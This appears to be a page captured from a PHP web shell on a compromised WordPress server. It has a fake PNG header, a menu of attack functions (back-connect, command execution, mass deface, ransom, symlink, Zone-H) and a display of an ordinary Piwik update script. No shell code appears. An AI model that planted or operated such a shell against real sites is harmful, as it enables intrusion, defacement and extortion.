\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/ob-wp-eski/core/Updates/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/ob-wp-eski/core/Updates/2.0.4-b7.php |
<?php
/**
* Piwik - free/libre analytics platform
*
* @link http://piwik.org
* @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later
*
*/
namespace Piwik\Updates;
use Piwik\Option;
use Piwik\Plugins\MobileMessaging\MobileMessaging;
use Piwik\Plugins\UsersManager\API as UsersManagerApi;
use Piwik\UpdaterErrorException;
use Piwik\Updates;
use Piwik\Updater;
/**
*/
class Updates_2_0_4_b7 extends Updates
{
public function doUpdate(Updater $updater)
{
try {
self::migrateExistingMobileMessagingOptions();
} catch (\Exception $e) {
throw new UpdaterErrorException($e->getMessage());
}
}
private static function migrateExistingMobileMessagingOptions()
{
if (Option::get(MobileMessaging::DELEGATED_MANAGEMENT_OPTION) == 'true') {
return;
}
// copy $superUserLogin_MobileMessagingSettings -> _MobileMessagingSettings as settings are managed globally
$optionName = MobileMessaging::USER_SETTINGS_POSTFIX_OPTION;
$superUsers = UsersManagerApi::getInstance()->getUsersHavingSuperUserAccess();
if (empty($superUsers)) {
return;
}
$firstSuperUser = array_shift($superUsers);
if (empty($firstSuperUser)) {
return;
}
$superUserLogin = $firstSuperUser['login'];
$optionPrefixed = $superUserLogin . $optionName;
// $superUserLogin_MobileMessagingSettings
$value = Option::get($optionPrefixed);
if (false !== $value) {
// _MobileMessagingSettings
Option::set($optionName, $value);
}
}
}